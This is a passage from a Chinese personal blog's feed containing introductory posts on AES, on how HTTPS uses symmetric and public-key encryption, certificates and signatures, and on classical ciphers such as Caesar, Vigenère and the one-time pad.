    类似DES的S-box，代替法，非线性的，但是内在数学基础让它可以反推算出原本的值，这一步是整个AES算法里面最核心的技术保证。把128 bit 的 block 变成了 4*4 字节大小。

  2. ShiftRows、MixColumns
    做扩散（Diffusion）和混淆（Confusion）的操作。扩散保证了明文和密文之间强联系性，密文小小的变化，都会导致明文结果出现很大的不同，就是下一篇文章会提到Hash函数的雪崩性；混淆提供的是密文和密钥的弱关联性，使得无法通过分析大量密文得出明文。


3.AddRoundKey
把上三轮的操作加在一起。

2018年4月29日修改：

“混淆提供的是密文和明文的弱关联性”中存在错误，应该是密文和密钥的弱关联性。

]]> https://www.h0u5er.com/Classical-cryptography-3/ 2017-05-10T16:00:00.000Z 非常好的密码学系列视频导论 自行扶梯
本文介绍DES 、3DES 、AES算法，]]> 对称加密算法 2017-05-10T16:00:00.000Z Houser Yuen 写了一阵子文章的，感觉学习、工作、生活，三大巨头吊打了我全部的时间。不禁思考，写博客的目的是为了知识的传播还是自身的愉悦？从VPN整治、网络安全法、到昨天的《互联网新闻信息服务管理规定》，深思。

黑客精神——自由，分享，海纳百川
网络安全——控制、限制、监控

劳动节看了一篇文章，关于http 2.0 特性的研究，想起曾经看到许多优秀的文章，描 https 和 http 的关系，于是乎翻出来，总结一段。

来自翟志军的理解HTTPS更容易

推荐是因为写的简单易懂，其实还没有拿到授权….

先来弄懂什么是公钥加密和对称加密，顶部有一套系列教程,需扶墙。对称加密就是加密解密同一把Key。公钥加密或者非对称加密，加密用公钥，解密用私钥。不严谨的比喻就是：一个人拥有保险柜和钥匙，保险柜是公钥，密钥是钥匙。密钥不可外传，公钥可以外传。不费时间解释，google吧。

請参考原文的图解，再看下面的文章是思路梳理：

  • 首先假设一个A和B通讯的场景，需要加密，用对称的加密

  • 不同Client之间对Server使用的Key必然不一样，否则无异于没加密。导致产生Client和Server协商Key的安全问题（MITM attack），引出公钥加密的需求。

结论 1：HTTPS握手阶段的随机数用来协商不同客户的对称加密算法。

  • 公钥加密只能解决Client对Server单方向通讯的安全。Server的保险柜丢给每一个Client，Client把数据装进保险柜。锁上后，只有Server的钥匙能打开。

结论 2： HTTPS需要对称和非对称算法同时支持

  • 如果保险柜是冒充的？Server传递保险箱给client，存在MITM attack的可能，引入数字证书和第三方，第三方负责把Server的保险柜给Client。

    还是怕有读者看不懂数字证书是啥，就是Server的公钥，被第三方用第三方的私钥加密了。

    结论 3： HTTPS需要第三方权威机构参与，需要数字证书

  • 那么第三方给出的Server 保险柜（指Server公钥）就可信了？不，考虑到一个第三方权威机构，可能给互联网众多Server做加密它们保险柜的操作，刚刚的数字证书，只能说它是来自一个权威第三方颁发的，但是为谁颁发的？依然存在MITM attac，最后引入数字签名。

结论 4：HTTPS需要数字签名

然后就是怎么验证数字签名的问题了，这和浏览器、操作系统自身的缺省配置有关。

题外话

pronhub都有小绿锁的时代，猜猜12306不上绿锁的原因。

阮一峰的这一篇文章或许能给你灵感

非营利网络认证发放机构 Let’s Encrypt 推出了开源免费的HTTPS认证服务。不过，据中关村在线报道，近期有专家发现，Let’s Encrypt 发放的认证证书有被滥用的趋势。该报道还指出“迄今已发行15270个内含 PayPal 字样的证书，当中约有 96.7 %被用于钓鱼网站，这表示约有 14766 个钓鱼网站已经拥有与 PayPal 相关的证书”。—出自雷锋网

Reference


详细的加密细节讲述

CDN HTTPS优化实践 阿里出品

HTTP认证的底层技术简析与揭秘
Http和Https的区别

图文兼并的深度解析HTTPS建立和安全性

好奇的结束词

Punycode钓鱼攻击 + Let’s Encrypt证书
赛门铁克和google的恩怨情仇
HTTP Strict Transport Security 技术

]]> https://www.h0u5er.com/https/ 2017-05-02T16:00:00.000Z 前两天买了一本书，书收到的第一件事就去研究目录里面的密码学章节，抛开数学计算的密码学还是挺有意思的，所以请耐心看完本篇文章，我会尽可能写的简单易懂，如果本文章出现了错漏，请给我留言，我将感激不尽。

必须知道的概念

  • 1.1 研究密码编制的科学称为密码编制学
  • 1.2 研究密码破译的科学称为密码分析学
  • 1.3 密码学由以上两者共同组成
  • 1.4 信息安全的CIA三要数

    保密性 confidentiality
    完整性 integrity
    可用性 availability

必须知道的术语

  • 2.1 加密（encryption）
  • 2.2 解密（decryption）
  • 2.3 明文（plaintext）
  • 2.4 密文 （ciphertext）
  • 2.5 加密密钥
  • 2.6 解密密钥

密码体制的五部分

  • 3.1 明文空间 M
  • 3.2 密文空间 C
  • 3.3 密钥空间 K
  • 3.4 加密算法 E
  • 3.5 解密算法 D
  • 3.6 KE就是加密密钥 KD就是解密密钥

下面的公式表示，用KE加密密钥，并且在加密算法E下，加密的明文M，变成了密文C
C=E(M,KE)
下面的公式表示，用KD解密密钥，并且在解密算法D下，解密密文C，得出了明文M。
右边等式里面的变形其实就把上面的公式C的值等价代入
M=D(C,KD)=D(E(M,KE),KD)

如果KD=KE，也就是知道一个加密（解密）密钥的情况下，可以推导出解密（加密）密钥，称为单密钥密码体制，也称作对称密码、传统密码，否则称为双密钥密码体制

当KD不能由KE推出，这样公开KE也不会损害KD的安全，这种密码体制称作公开密钥密码体制，简称公钥密码体制

常见的攻击密码方法

  • 4.1 穷举攻击
  • 4.2 数学分析攻击
  • 4.3 基于物理的攻击
    这里我不想码字啰嗦，余弦精神，懒人思考

常见的攻击密码类型

  • 5.1 仅知密文攻击（ciphertext-only attack）
  • 5.2 已知明文攻击（known-plaintext attack）
  • 5.3 选择明文攻击（chosen-plaintext attack）
  • 5.4 选择密文攻击（chosen-ciphertext attack）

这里先做一个假设，因为密文是加密的，获取也无法查阅对应的明文，所以密文都是公开的

5.1 就是攻击者只拥有密文，对攻击者最:不利的情况

5.2 是攻击者有部分明文和密文，或者可以说攻击者了解明文部分字段的规律性，只有当密码经得起该类型攻击才算是可取

学生的数据库文件字段的规律性
里面一定会有姓名、学号、成绩等字段
成绩的取值范围一般都是0-100之间

5.3 攻击者能够选择明文并且得到对应的密文，常见攻击对象是计算机文件系统和数据库系统，攻击者可以利用有特殊意义的的明文优先尝试，这是对攻击者十分有利的情况

因此平时用的密码尽可能不要使用生日、电话一类的字符，而且尽可能相同密码不要使用在不同情况，以防撞库

5.4 攻击者能够选择密文并且得到对应的明文，也是对攻击者十分有利的情况，攻击对象主要是公开密钥的密码体制，比如数字签名。

密码学认为，一个可靠的密码，它的加密算法需要公开，而且需要有健壮的数学算法作为支撑。

当一个密码，不能被分析者根据可利用的资源进行破译，那么认为是计算机上不可破译的。其实说白了就是一个密码要计算几百年才能有正确答案，那么这个密码就是安全的

  • 古典密码史

    古典密码这东西比较好玩，数学难度不会很大，下面我就用自己的语言叙述一下，感兴趣的人总会有办法深入了解。

  • 凯撒加密法

背景1：有战争，信息有加密需求
背景2：能看懂单词的人很少，文盲率高

古罗马的凯撒大帝（Caesar）发明，这里给大家看一张图就一目了然了
这属于是加法密码，明文和密钥之间建立了一一映射的关系
明文A对应的是密文N
明文B对应的是密文O
………
明文Z对应的是啥（此处很尴尬，图片没有展示完整）
偏移量就是Key，上图算法的KEY=13

这里因为字母自有26个，所以限制了密钥长度是0-25这个范围，因为它是经不起频率分析攻击，人脑推敲一下也很轻易得出明文。当代计算机发起穷举攻击，破译是毫秒的事情，但是考虑到算法使用的年代背景，所以凯撒也算是一个成功的心机Boy
举个例子
H明文下等于7，7+key=7+13=20 20 mod 26 =20，密文就是U
0明文下等于14，14+key=14+13=27 27 mod 26 = 1，密文就是B

这里假设A-Z对应到0-25的数字
Module：取余数

可以得到公式C=E(m,k)=(k+m) mod 26

  • monoalphabetic cipher算法

    单字母加密方式，也叫做substitution cipher，替换加密法，其实还是一一映射的使用，对比凯撒加密进步在于，它的映射关系不再是偏移量，只是人为的设计一个对照表
明文ABCDE…L…P…Z
随机的密钥HOUSE…R…X…Y

明文是DCBA的话，那么密文就是
SUOH

这里的对应关系是随机产生，假设都是一一对应不重复使用字母的情况下，得出：
这个对应表的第一个字母有26种出现情况
这个对应表的第二个字母有25种出现情况
这个对应表的第N 个字母有27-N种出现的情况
所以推导出了Key的组合可能性是26!（阶乘）
26! = 4.0329146112661 * 1026

思考:
当一个字母并列的重复出现，或者在一段明文里面多次出现，比如文明apple就出现了两次P字母,假设使用上文的对应关系，密文就是HXXRE，这样攻击者统计分析后，也可以得出一份对照表，它是抵挡不住频率攻击的，因为每一个字母出现的频率都不一样。关键点在于明文和密码之间依然存在映射关系，很容易实现反推敲。

  • 维吉尼亚加密算法 Vigenre

    这个算法就解决了上面提出的思考题 ，打破了一一对应的关系。思路是用一个字母对应多个字母，或者多个字母对应一个字母，所以也叫做polyalphabetic cipher算法，多字母加密算法。
  1. 维吉尼亚算法会选取一个Key，可以自己设定值，假设是K6=houser（6位长度）
  2. 把Key的长度拓展到和明文一样长，假设我们的明文是 M=php is the best language（20位长度，空格不计）
  3. 接着K的长度要和M的长度一致，所以K20=houserhouserhouserho（重复自己，得到20位长度的Key）
  4. 这时候把M的第一位和K20的第一位合并，得到ph
  5. M的第二位和K20的第二位合并，得到ho
  6. M的第三位和K20的第三位合并，得到pu
    7.查维吉尼亚表,两个字母分别对应横纵坐标
    查表ph就是w，ho就是v，pu就是j
    此时，明文的PHP就等于密文wvj,方法如上，可以明文全部转换成为密文,这里的两个p对应了不同的密文，是上面提及的算法里面不能实现的。维吉尼亚表是全部人都可拥有的，但是Key只能是约定通讯的人才知道

假设A-Z可以用数字0-25表示
就会得出维吉尼亚的数学表达式
c=(k+m) mod 26
p和h对应的就是15+7=22=w
h和o对应的就是7+14=21=v
p和u对应的就是15+20=35=j=26+9=9

有没有觉得很神奇，虽然提高了分析的难度，但同样的可以使用频率分析的攻击手段对维吉尼亚加密进行攻击，polyalphabetic cipher算法的弱点是key会重复来填充自己的长度，接下来就要介绍下一个算法弥补它，所以学习古典密码是很有意思的逻辑问题，了解古典密码之后再去看看现代密码学，会很有意思。

  • autokey cipher

    它解决了key长度问题，就是密钥不够长，自动让明文的头部开始充当密文，数学公式也是一样的。还是拿上面维吉尼亚的例子，当K6=houser，相对于明文还差14位长度，根据autokey，K20=houserphpisthebestla

    autokey是由维吉尼亚提出的，上文的维吉尼亚算法并不是她提出，相关内容可查阅资料

这样自动化生成Key的好处是在明文传递的时候，不受到Key长度的限制而限制，但是依然存在攻击的漏洞可以破译这种加密，所以引入了下面的算法

  • vernam cipher

    K20=houserphpisthebestla的生成就是由K6加上明文组合，现在我们只保留K6，后面需要的长度用随机数取代，因为和明文没关系，所以健壮性会很高，数学公式还是一样的。

    思考：
    那我为什么不直接随机生产一个K20，最好是一次性使用之后就不再使用，这样还抵挡被统计分析攻击

  • on time pad

    OTP其实就是一次性密钥，但是OTP是可以伪造的，如果密钥不一致，会导致解密出来的内容也会不一样。OTP的好好处也在在暴力破解的情况下，会得到很多组可能正确的明文，增加了密码分析的难度。
    OTP在冷战时期疯狂使用，因为间谍被抓获的时候，只需要提供一个虚假的精心构造的Key，就会使得明文变的不一样。
    实现维吉尼亚算法的Python脚本

    OTP实现的难度在于key只能让接受和发送者知道，而且必须是随机生成的key（不能重复使用）。这样的话就需要发送和接受的明文长度需要一样才行，OTP禁不起已知明文攻击。

    • 好玩的福尔摩斯密码

]]> https://www.h0u5er.com/Classical-cryptography/ 2017-04-07T21:25:35.000Z